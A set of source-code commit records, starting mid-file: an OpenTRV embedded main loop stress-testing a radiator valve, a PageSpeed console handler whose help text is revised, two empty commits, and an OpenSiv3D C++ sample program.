defined(V0P2BASE_TWO_S_TICK_RTC_SUPPORT)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ ---------- HALF SECOND #2 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@2\"); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE) && defined(V0P2BASE_TWO_S_TICK_RTC_SUPPORT)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ ---------- HALF SECOND #3 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@3\"); }\n\/\/ }\n\/\/#endif\n\n\n#ifdef HAS_DORM1_VALVE_DRIVE\n \/\/ Yank valve to random target every minute to try to upset it!\n if(0 == TIME_LSD) { ValveDirect.set(OTV0P2BASE::randRNG8() % 101); }\n\n \/\/ Simulate human doing the right thing after fitting valve.\n if(ValveDirect.isWaitingForValveToBeFitted()) { ValveDirect.signalValveFitted(); }\n\n \/\/ Provide regular poll to motor driver.\n \/\/ May take significant time to run\n \/\/ so don't call when timing is critical or not much left,\n \/\/ eg around critical TXes.\n ValveDirect.read();\n#endif\n\n\n\n\/\/ \/\/ Reading shaft encoder.\n\/\/ \/\/ Measure motor count against (fixed) internal reference.\n\/\/ power_intermittent_peripherals_enable(true);\n\/\/ const uint16_t mc = analogueNoiseReducedRead(MOTOR_DRIVE_MC_AIN, INTERNAL);\n\/\/ void power_intermittent_peripherals_disable();\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"Count input: \");\n\/\/ DEBUG_SERIAL_PRINT(mc);\n\/\/ DEBUG_SERIAL_PRINTLN();\n\n\n\/\/ \/\/ Command-Line Interface (CLI) polling.\n\/\/ \/\/ If a reasonable chunk of the minor cycle remains after all other work is done\n\/\/ \/\/ AND the CLI is \/ should be active OR a status line has just been output\n\/\/ \/\/ then poll\/prompt the user for input\n\/\/ \/\/ using a timeout which should safely avoid overrun, ie missing the next basic tick,\n\/\/ \/\/ and which should also allow some energy-saving sleep.\n\/\/#if 1 \/\/ && defined(SUPPORT_CLI)\n\/\/ if(true)\n\/\/ {\n\/\/ const uint8_t sct = getSubCycleTime();\n\/\/ const uint8_t listenTime = max(GSCT_MAX\/16, CLI_POLL_MIN_SCT);\n\/\/ if(sct < (GSCT_MAX - 2*listenTime))\n\/\/ \/\/ Don't listen beyond the last 16th of the cycle,\n\/\/ \/\/ or a minimal time if only prodding for interaction with automated front-end,\n\/\/ \/\/ as listening for UART RX uses lots of power.\n\/\/ { pollCLI(OTV0P2BASE::randRNG8NextBoolean() ? (GSCT_MAX-listenTime) : (sct+CLI_POLL_MIN_SCT), 0 == TIME_LSD); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\n\n\n\n\n\n\/\/ \/\/ Force any pending output before return \/ possible UART power-down.\n\/\/ flushSerialSCTSensitive();\n\/\/ if(neededWaking) { OTV0P2BASE::powerDownSerial(); }\n }\n\n\n\n#endif\n<commit_msg>TODO-370: stress testing<commit_after>\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Damon Hart-Davis 2014--2015\n*\/\n\n\/*\n Alternate POST \/ setup and loop \/ main for non-OpenTRV code running on OpenTRV h\/w platform.\n\n Also for rapid prototyping without dead-weight of OpenTRV intricate timing, etc!\n *\/\n\n#include \"V0p2_Main.h\"\n\n#include \"V0p2_Generic_Config.h\"\n#include \"V0p2_Board_IO_Config.h\" \/\/ I\/O pin allocation: include ahead of I\/O module headers.\n\n\/\/ Arduino libraries.\n\/\/#include <Wire.h>\n#ifdef ALLOW_CC1_SUPPORT\n#include <OTProtocolCC.h>\n#endif\n\n#include \"Control.h\"\n#include \"FHT8V_Wireless_Rad_Valve.h\"\n#include \"Power_Management.h\"\n#include \"RFM22_Radio.h\"\n#include \"Security.h\"\n#include \"Serial_IO.h\"\n#include \"UI_Minimal.h\"\n\n\n\n\n\/\/ Link in support for alternate Power On Self-Test and main loop if required.\n#if defined(ALT_MAIN_LOOP)\n\n\/\/ Mask for Port B input change interrupts.\n#define MASK_PB_BASIC 0b00000000 \/\/ Nothing.\n#ifdef PIN_RFM_NIRQ\n #if (PIN_RFM_NIRQ < 8) || (PIN_RFM_NIRQ > 15)\n #error PIN_RFM_NIRQ expected to be on port B\n #endif\n #define RFM23B_INT_MASK (1 << (PIN_RFM_NIRQ&7))\n #define MASK_PB (MASK_PB_BASIC | RFM23B_INT_MASK)\n#else\n #define MASK_PB MASK_PB_BASIC\n#endif\n\n\n\/\/\/\/ Mask for Port D input change interrupts.\n\/\/#define MASK_PD_BASIC 0b00000001 \/\/ Just RX.\n\/\/#if defined(ENABLE_VOICE_SENSOR)\n\/\/#if VOICE_NIRQ > 7\n\/\/#error voice interrupt on wrong port\n\/\/#endif\n\/\/#define VOICE_INT_MASK (1 << (VOICE_NIRQ&7))\n\/\/#define MASK_PD (MASK_PD_BASIC | VOICE_INT_MASK)\n\/\/#else\n\/\/#define MASK_PD MASK_PD_BASIC \/\/ Just RX.\n\/\/#endif\n\n\n\/\/ Called from startup() after some initial setup has been done.\n\/\/ Can abort with panic() if need be.\nvoid POSTalt()\n {\n#if defined(USE_MODULE_RFM22RADIOSIMPLE) \n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n static const OTRadioLink::OTRadioChannelConfig RFMConfig(FHT8V_RFM22_Reg_Values, true, true, true);\n RFM23B.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!RFM23B.configure(1, &RFMConfig) || !RFM23B.begin()) { panic(); }\n#endif\n\n \/\/ Force initialisation into low-power state.\n const int heat = TemperatureC16.read();\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n#endif\n\/\/ const int light = AmbLight.read();\n\/\/#if 0 && defined(DEBUG)\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"light: \");\n\/\/ DEBUG_SERIAL_PRINT(light);\n\/\/ DEBUG_SERIAL_PRINTLN();\n\/\/#endif\n\n\n\n \/\/ Trailing setup for the run\n \/\/ --------------------------\n\n \/\/ Set up async edge interrupts.\n ATOMIC_BLOCK (ATOMIC_RESTORESTATE)\n {\n \/\/PCMSK0 = PB; PCINT 0--7 (LEARN1 and Radio)\n \/\/PCMSK1 = PC; PCINT 8--15\n \/\/PCMSK2 = PD; PCINT 16--24 (LEARN2 and MODE, RX)\n\n PCICR =\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n 1 | \/\/ 0x1 enables PB\/PCMSK0.\n#endif\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PC interrupts required.\n 2 | \/\/ 0x2 enables PC\/PCMSK1.\n#endif\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n 4 | \/\/ 0x4 enables PD\/PCMSK2.\n#endif\n 0;\n\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n PCMSK0 = MASK_PB;\n#endif\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PC interrupts required.\n PCMSK1 = MASK_PC;\n#endif\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n PCMSK2 = MASK_PD;\n#endif\n }\n\n\n RFM23B.listen(true);\n }\n\n\n#if defined(ALT_MAIN_LOOP)\n\n#if defined(MASK_PB) && (MASK_PB != 0) \/\/ If PB interrupts required.\n\/\/\/\/ Interrupt count. Marked volatile so safe to read without a lock as is a single byte.\n\/\/static volatile uint8_t intCountPB;\n\/\/ Previous state of port B pins to help detect changes.\nstatic volatile uint8_t prevStatePB;\n\/\/ Interrupt service routine for PB I\/O port transition changes.\nISR(PCINT0_vect)\n {\n\/\/ ++intCountPB;\n const uint8_t pins = PINB;\n const uint8_t changes = pins ^ prevStatePB;\n prevStatePB = pins;\n\n#if defined(RFM23B_INT_MASK)\n \/\/ RFM23B nIRQ falling edge is of interest.\n \/\/ Handler routine not required\/expected to 'clear' this interrupt.\n \/\/ TODO: try to ensure that OTRFM23BLink.handleInterruptSimple() is inlineable to minimise ISR prologue\/epilogue time and space.\n if((changes & RFM23B_INT_MASK) && !(pins & RFM23B_INT_MASK))\n { RFM23B.handleInterruptSimple(); }\n#endif\n\n }\n#endif\n\n#if defined(MASK_PC) && (MASK_PC != 0) \/\/ If PB interrupts required.\n\/\/ Previous state of port C pins to help detect changes.\nstatic volatile uint8_t prevStatePC;\n\/\/ Interrupt service routine for PC I\/O port transition changes.\nISR(PCINT1_vect)\n {\n\/\/ const uint8_t pins = PINC;\n\/\/ const uint8_t changes = pins ^ prevStatePC;\n\/\/ prevStatePC = pins;\n\/\/\n\/\/ ...\n }\n#endif\n\n#if defined(MASK_PD) && (MASK_PD != 0) \/\/ If PD interrupts required.\n\/\/ Previous state of port D pins to help detect changes.\nstatic volatile uint8_t prevStatePD;\n\/\/ Interrupt service routine for PD I\/O port transition changes (including RX).\nISR(PCINT2_vect)\n {\n\/\/ const uint8_t pins = PIND;\n\/\/ const uint8_t changes = pins ^ prevStatePD;\n\/\/ prevStatePD = pins;\n\/\/\n\/\/ ....\n }\n#endif\n\n#endif \/\/ ALT_MAIN\n\n\n\n\n\n\n\n\/\/ Called from loop().\nvoid loopAlt()\n {\n \/\/ Sleep in low-power mode (waiting for interrupts) until seconds roll.\n \/\/ NOTE: sleep at the top of the loop to minimise timing jitter\/delay from Arduino background activity after loop() returns.\n \/\/ DHD20130425: waking up from sleep and getting to start processing below this block may take >10ms.\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*E\"); \/\/ End-of-cycle sleep.\n#endif\n\n#if !defined(MIN_ENERGY_BOOT)\n OTV0P2BASE::powerDownSerial(); \/\/ Ensure that serial I\/O is off.\n \/\/ Power down most stuff (except radio for hub RX).\n minimisePowerWithoutSleep();\n#endif\n static uint_fast8_t TIME_LSD; \/\/ Controller's notion of seconds within major cycle.\n uint_fast8_t newTLSD;\n while(TIME_LSD == (newTLSD = OTV0P2BASE::getSecondsLT()))\n {\n \/\/ Poll I\/O and process message incrementally (in this otherwise idle time)\n \/\/ before sleep and on wakeup in case some IO needs further processing now,\n \/\/ eg work was accrued during the previous major slow\/outer loop\n \/\/ or the in a previous orbit of this loop sleep or nap was terminated by an I\/O interrupt.\n \/\/ Come back and have another go if work was done, until the next tick at most.\n if(handleQueuedMessages(&Serial, true, &RFM23B)) { continue; }\n\n\/\/ If missing h\/w interrupts for anything that needs rapid response\n\/\/ then AVOID the lowest-power long sleep.\n#if CONFIG_IMPLIES_MAY_NEED_CONTINUOUS_RX && !defined(PIN_RFM_NIRQ)\n#define MUST_POLL_FREQUENTLY true\n#else\n#define MUST_POLL_FREQUENTLY false\n#endif\n if(MUST_POLL_FREQUENTLY \/** && in hub mode *\/ )\n {\n \/\/ No h\/w interrupt wakeup on receipt of frame,\n \/\/ so can only sleep for a short time between explicit poll()s,\n \/\/ though allow wake on interrupt anyway to minimise loop timing jitter.\n OTV0P2BASE::nap(WDTO_15MS, true);\n }\n else\n {\n \/\/ Normal long minimal-power sleep until wake-up interrupt.\n \/\/ Rely on interrupt to force fall through to I\/O poll() below.\n OTV0P2BASE::sleepUntilInt();\n }\n\/\/ DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"w\"); \/\/ Wakeup.\n\n\/\/ idle15AndPoll(); \/\/ Attempt to crash the board!\n\n }\n TIME_LSD = newTLSD;\n\n#if 0 && defined(DEBUG)\n DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*S\"); \/\/ Start-of-cycle wake.\n#endif\n\n\n \/\/ START LOOP BODY\n \/\/ ===============\n\n\/\/ DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"*\");\n\n\/\/ \/\/ Power up serial for the loop body.\n\/\/ \/\/ May just want to turn it on in POSTalt() and leave it on...\n\/\/ const bool neededWaking = powerUpSerialIfDisabled();\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE)\n\/\/ \/\/ Try for double TX for more robust conversation with valve?\n\/\/ const bool doubleTXForFTH8V = false;\n\/\/ \/\/ FHT8V is highest priority and runs first.\n\/\/ \/\/ ---------- HALF SECOND #0 -----------\n\/\/ bool useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_First(doubleTXForFTH8V); \/\/ Time for extra TX before UI.\n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@0\"); }\n\/\/#endif\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ Time for extra TX before other actions, but don't bother if minimising power in frost mode.\n\/\/ \/\/ ---------- HALF SECOND #1 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@1\"); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE) && defined(V0P2BASE_TWO_S_TICK_RTC_SUPPORT)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ ---------- HALF SECOND #2 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@2\"); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\/\/#if defined(USE_MODULE_FHT8VSIMPLE) && defined(V0P2BASE_TWO_S_TICK_RTC_SUPPORT)\n\/\/ if(useExtraFHT8VTXSlots)\n\/\/ {\n\/\/ \/\/ ---------- HALF SECOND #3 -----------\n\/\/ useExtraFHT8VTXSlots = localFHT8VTRVEnabled() && FHT8VPollSyncAndTX_Next(doubleTXForFTH8V); \n\/\/\/\/ if(useExtraFHT8VTXSlots) { DEBUG_SERIAL_PRINTLN_FLASHSTRING(\"ES@3\"); }\n\/\/ }\n\/\/#endif\n\n\n#ifdef HAS_DORM1_VALVE_DRIVE\n \/\/ Move valve to new target every minute to try to upset it!\n \/\/ Targets at key thresholds and random.\n if(0 == TIME_LSD)\n {\n switch(OTV0P2BASE::randRNG8() & 1)\n {\n case 0: ValveDirect.set(DEFAULT_MIN_VALVE_PC_REALLY_OPEN-1); break; \/\/ Nominally shut.\n case 1: ValveDirect.set(DEFAULT_VALVE_PC_MODERATELY_OPEN); break; \/\/ Nominally open.\n \/\/ Random.\n\/\/ default: ValveDirect.set(OTV0P2BASE::randRNG8() % 101); break;\n }\n }\n\n \/\/ Simulate human doing the right thing after fitting valve when required.\n if(ValveDirect.isWaitingForValveToBeFitted()) { ValveDirect.signalValveFitted(); }\n\n \/\/ Provide regular poll to motor driver.\n \/\/ May take significant time to run\n \/\/ so don't call when timing is critical or not much left,\n \/\/ eg around critical TXes.\n const uint8_t pc = ValveDirect.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"Pos%: \");\n DEBUG_SERIAL_PRINT(pc);\n DEBUG_SERIAL_PRINTLN();\n#endif\n\n\n\n\/\/ \/\/ Reading shaft encoder.\n\/\/ \/\/ Measure motor count against (fixed) internal reference.\n\/\/ power_intermittent_peripherals_enable(true);\n\/\/ const uint16_t mc = analogueNoiseReducedRead(MOTOR_DRIVE_MC_AIN, INTERNAL);\n\/\/ void power_intermittent_peripherals_disable();\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"Count input: \");\n\/\/ DEBUG_SERIAL_PRINT(mc);\n\/\/ DEBUG_SERIAL_PRINTLN();\n\n\n\/\/ \/\/ Command-Line Interface (CLI) polling.\n\/\/ \/\/ If a reasonable chunk of the minor cycle remains after all other work is done\n\/\/ \/\/ AND the CLI is \/ should be active OR a status line has just been output\n\/\/ \/\/ then poll\/prompt the user for input\n\/\/ \/\/ using a timeout which should safely avoid overrun, ie missing the next basic tick,\n\/\/ \/\/ and which should also allow some energy-saving sleep.\n\/\/#if 1 \/\/ && defined(SUPPORT_CLI)\n\/\/ if(true)\n\/\/ {\n\/\/ const uint8_t sct = getSubCycleTime();\n\/\/ const uint8_t listenTime = max(GSCT_MAX\/16, CLI_POLL_MIN_SCT);\n\/\/ if(sct < (GSCT_MAX - 2*listenTime))\n\/\/ \/\/ Don't listen beyond the last 16th of the cycle,\n\/\/ \/\/ or a minimal time if only prodding for interaction with automated front-end,\n\/\/ \/\/ as listening for UART RX uses lots of power.\n\/\/ { pollCLI(OTV0P2BASE::randRNG8NextBoolean() ? (GSCT_MAX-listenTime) : (sct+CLI_POLL_MIN_SCT), 0 == TIME_LSD); }\n\/\/ }\n\/\/#endif\n\n\n\n\n\n\n\n\n\n\n\n\/\/ \/\/ Force any pending output before return \/ possible UART power-down.\n\/\/ flushSerialSCTSensitive();\n\/\/ if(neededWaking) { OTV0P2BASE::powerDownSerial(); }\n }\n\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ TODO(pbos): Remove this file when it's no longer built in Chromium.\n<commit_msg>Remove webrtcvideoengine.cc.<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: sligocki@google.com (Shawn Ligocki)\n\n#include \"net\/instaweb\/system\/public\/handlers.h\"\n\n#include \"net\/instaweb\/system\/public\/system_rewrite_options.h\"\n#include \"net\/instaweb\/util\/public\/writer.h\"\n#include \"pagespeed\/kernel\/base\/string.h\"\n\nnamespace net_instaweb {\n\nextern const char* CSS_console_css;\nextern const char* JS_console_js;\n\n\/\/ Handler which serves PSOL console.\nvoid ConsoleHandler(SystemRewriteOptions* options, Writer* writer,\n MessageHandler* handler) {\n bool statistics_enabled = options->statistics_enabled();\n bool logging_enabled = options->statistics_logging_enabled();\n bool log_dir_set = !options->log_dir().empty();\n if (statistics_enabled && logging_enabled && log_dir_set) {\n \/\/ TODO(sligocki): Move static content to a data2cc library.\n writer->Write(\"<!DOCTYPE html>\\n\"\n \"<html>\\n\"\n \" <head>\\n\"\n \" <title>Pagespeed Console<\/title>\\n\"\n \" <style>\\n\"\n \" #title {\\n\"\n \" font-size: 300%;\\n\"\n \" }\\n\"\n \" <\/style>\\n\"\n \" <style>\", handler);\n writer->Write(CSS_console_css, handler);\n writer->Write(\"<\/style>\\n\"\n \" <\/head>\\n\"\n \" <body>\\n\"\n \" <div id='top-bar'>\\n\"\n \" <span id='title'>Pagespeed Console<\/span>\\n\"\n \" <\/div>\\n\"\n \"\\n\"\n \" <div id='suggestions'>\\n\"\n \" <p>\\n\"\n \" Notable issues:\\n\"\n \" <\/p>\\n\"\n \" <div id='pagespeed-graphs-container'><\/div>\\n\"\n \" <\/div>\\n\"\n \" <script src='https:\/\/www.google.com\/jsapi'><\/script>\\n\"\n \" <script>var pagespeedStatisticsUrl = '\", handler);\n writer->Write(options->statistics_handler_path(), handler);\n writer->Write(\"'<\/script>\\n\"\n \" <script>\", handler);\n writer->Write(JS_console_js, handler);\n writer->Write(\"<\/script>\\n\"\n \" <\/body>\\n\"\n \"<\/html>\\n\", handler);\n } else {\n writer->Write(\"<!DOCTYPE html>\\n\"\n \"<p>\\n\"\n \" Failed to load Pagespeed Console because:\\n\"\n \"<\/p>\\n\"\n \"<ul>\\n\", handler);\n if (!statistics_enabled) {\n writer->Write(\" <li>ModPagespeedStatistics is not enabled.<\/li>\\n\",\n handler);\n }\n if (!logging_enabled) {\n writer->Write(\" <li>ModPagespeedStatisticsLogging is not enabled.\"\n \"<\/li>\\n\", handler);\n }\n if (!log_dir_set) {\n writer->Write(\" <li>ModPagespeedLogFile is not set.<\/li>\\n\", handler);\n }\n writer->Write(\"<\/ul>\\n\"\n \"<p>\\n\"\n \" In order to use the console you must add the following\\n\"\n \" configuration:\\n\"\n \"<\/p>\\n\"\n \"<pre>\\n\"\n \" ModPagespeedStatistics on\\n\"\n \" ModPagespeedStatisticsLogging on\\n\"\n \" ModPagespeedLogFile \/var\/log\/pagespeed\\n\"\n \"<\/pre>\\n\"\n \"<p>\\n\"\n \" See <a href='https:\/\/developers.google.com\/speed\/pagespe\"\n \"ed\/module\/console'>documentation<\/a> for more details.\\n\"\n \"<\/p>\\n\", handler);\n }\n}\n\n} \/\/ namespace net_instaweb\n<commit_msg>Update ConsoleHandler to spit out server agnostic configuration information, depending mostly on the documentation link to explain how to correctly configure.<commit_after>\/\/ Copyright 2013 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: sligocki@google.com (Shawn Ligocki)\n\n#include \"net\/instaweb\/system\/public\/handlers.h\"\n\n#include \"net\/instaweb\/system\/public\/system_rewrite_options.h\"\n#include \"net\/instaweb\/util\/public\/writer.h\"\n#include \"pagespeed\/kernel\/base\/string.h\"\n\nnamespace net_instaweb {\n\nextern const char* CSS_console_css;\nextern const char* JS_console_js;\n\n\/\/ Handler which serves PSOL console.\nvoid ConsoleHandler(SystemRewriteOptions* options, Writer* writer,\n MessageHandler* handler) {\n bool statistics_enabled = options->statistics_enabled();\n bool logging_enabled = options->statistics_logging_enabled();\n bool log_dir_set = !options->log_dir().empty();\n if (statistics_enabled && logging_enabled && log_dir_set) {\n \/\/ TODO(sligocki): Move static content to a data2cc library.\n writer->Write(\"<!DOCTYPE html>\\n\"\n \"<html>\\n\"\n \" <head>\\n\"\n \" <title>PageSpeed Console<\/title>\\n\"\n \" <style>\\n\"\n \" #title {\\n\"\n \" font-size: 300%;\\n\"\n \" }\\n\"\n \" <\/style>\\n\"\n \" <style>\", handler);\n writer->Write(CSS_console_css, handler);\n writer->Write(\"<\/style>\\n\"\n \" <\/head>\\n\"\n \" <body>\\n\"\n \" <div id='top-bar'>\\n\"\n \" <span id='title'>PageSpeed Console<\/span>\\n\"\n \" <\/div>\\n\"\n \"\\n\"\n \" <div id='suggestions'>\\n\"\n \" <p>\\n\"\n \" Notable issues:\\n\"\n \" <\/p>\\n\"\n \" <div id='pagespeed-graphs-container'><\/div>\\n\"\n \" <\/div>\\n\"\n \" <script src='https:\/\/www.google.com\/jsapi'><\/script>\\n\"\n \" <script>var pagespeedStatisticsUrl = '\", handler);\n writer->Write(options->statistics_handler_path(), handler);\n writer->Write(\"'<\/script>\\n\"\n \" <script>\", handler);\n writer->Write(JS_console_js, handler);\n writer->Write(\"<\/script>\\n\"\n \" <\/body>\\n\"\n \"<\/html>\\n\", handler);\n } else {\n writer->Write(\"<!DOCTYPE html>\\n\"\n \"<p>\\n\"\n \" Failed to load PageSpeed Console because:\\n\"\n \"<\/p>\\n\"\n \"<ul>\\n\", handler);\n if (!statistics_enabled) {\n writer->Write(\" <li>Statistics is not enabled.<\/li>\\n\",\n handler);\n }\n if (!logging_enabled) {\n writer->Write(\" <li>StatisticsLogging is not enabled.\"\n \"<\/li>\\n\", handler);\n }\n if (!log_dir_set) {\n writer->Write(\" <li>LogDir is not set.<\/li>\\n\", handler);\n }\n writer->Write(\"<\/ul>\\n\"\n \"<p>\\n\"\n \" In order to use the console you must configure these\\n\"\n \" options. See the <a href='https:\/\/developers.google.com\/\"\n \"speed\/pagespeed\/module\/console'>console documentation<\/a>\\n\"\n \" for more details.\\n\"\n \"<\/p>\\n\", handler);\n }\n}\n\n} \/\/ namespace net_instaweb\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Http Cache: Enable some checks to track a low volume crash.<commit_after><|endoftext|>"} {"text":"<commit_before>\n# include <Siv3D.hpp> \/\/ OpenSiv3D v0.4.3\n\nstruct AnimationTexture\n{\n\tArray<Texture> textures;\n\t\n\tArray<int32> delays;\n\t\n\tint32 duration = 0;\n\n\texplicit operator bool() const noexcept\n\t{\n\t\treturn !textures.isEmpty();\n\t}\n\n\tSize size() const noexcept\n\t{\n\t\tif (!textures)\n\t\t{\n\t\t\treturn Size(0, 0);\n\t\t}\n\n\t\treturn textures.front().size();\n\t}\n\n\tsize_t frames() const noexcept\n\t{\n\t\treturn textures.size();\n\t}\n\n\tsize_t getFrameIndex(int32 timeMillisec) const noexcept\n\t{\n\t\treturn AnimatedGIFReader::MillisecToIndex(timeMillisec, delays, duration);\n\t}\n\n\tconst Texture& getTexture(int32 timeMillisec) const noexcept\n\t{\n\t\treturn textures[getFrameIndex(timeMillisec)];\n\t}\n};\n\nvoid Main()\n{\n\tAnimationTexture animation;\n\t{\n\t\tconst AnimatedGIFReader gif(U\"example\/test.gif\");\n\n\t\tif (!gif)\n\t\t{\n\t\t\tthrow Error(U\"Failed to open a gif file\");\n\t\t}\n\n\t\tArray<Image> images;\n\t\t\t\n\t\tif (gif.read(images, animation.delays, animation.duration))\n\t\t{\n\t\t\tanimation.textures = images.map([](const Image& i) { return Texture(i); });\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow Error(U\"Failed to load a gif animation\");\n\t\t}\n\t}\n\n\tPrint << U\"{}, {} frames ({} ms)\"_fmt(animation.size(), animation.frames(), animation.duration);\n\n\tconst Point pos(10, 90);\n\tbool showTiles = false;\n\n\twhile (System::Update())\n\t{\n\t\tconst int32 timeMillisec = static_cast<int32>(Scene::Time() * 1000);\n\t\tconst auto& texture = animation.getTexture(timeMillisec);\n\n\t\tSimpleGUI::CheckBox(showTiles, U\"Show tiles\", Vec2(10, 40));\n\n\t\tif (showTiles)\n\t\t{\n\t\t\tRect(pos, texture.size()).draw();\n\t\t\t{\n\t\t\t\tScopedViewport2D vp(pos, texture.size());\n\t\t\t\tfor (auto p : step(texture.size() \/ 10 + Size(1, 1)))\n\t\t\t\t{\n\t\t\t\t\tif (IsEven(p.x + p.y))\n\t\t\t\t\t{\n\t\t\t\t\t\tRect(p * 10, 10).draw(ColorF(0.8));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttexture.draw(pos);\n\t}\n}\n<commit_msg>v0.4.3 beta 準備 (mac)<commit_after>\n# include <Siv3D.hpp> \/\/ OpenSiv3D v0.4.3\n\nvoid Main()\n{\n\t\/\/ 背景を水色にする\n\tScene::SetBackground(ColorF(0.8, 0.9, 1.0));\n\t\n\t\/\/ 大きさ 60 のフォントを用意\n\tconst Font font(60);\n\t\n\t\/\/ 猫のテクスチャを用意\n\tconst Texture cat(Emoji(U\"🐈\"));\n\t\n\t\/\/ 猫の座標\n\tVec2 catPos(640, 450);\n\t\n\twhile (System::Update())\n\t{\n\t\t\/\/ テキストを画面の中心に描く\n\t\tfont(U\"Hello, Siv3D!🐣\").drawAt(Scene::Center(), Palette::Black);\n\t\t\n\t\t\/\/ 大きさをアニメーションさせて猫を表示する\n\t\tcat.resized(100 + Periodic::Sine0_1(1s) * 20).drawAt(catPos);\n\t\t\n\t\t\/\/ マウスカーソルに追従する半透明の赤い円を描く\n\t\tCircle(Cursor::Pos(), 40).draw(ColorF(1, 0, 0, 0.5));\n\t\t\n\t\t\/\/ [A] キーが押されたら\n\t\tif (KeyA.down())\n\t\t{\n\t\t\t\/\/ Hello とデバッグ表示する\n\t\t\tPrint << U\"Hello!\";\n\t\t}\n\t\t\n\t\t\/\/ ボタンが押されたら\n\t\tif (SimpleGUI::Button(U\"Move the cat\", Vec2(600, 20)))\n\t\t{\n\t\t\t\/\/ 猫の座標を画面内のランダムな位置に移動する\n\t\t\tcatPos = RandomVec2(Scene::Rect());\n\t\t}\n\t}\n}\n\n\/\/\n\/\/ = アドバイス =\n\/\/ macOS 10.15 Catalina で、アプリケーションを起動するたびに\n\/\/ ファイルアクセス許可のダイアログが表示される場合、プロジェクトのフォルダを\n\/\/ 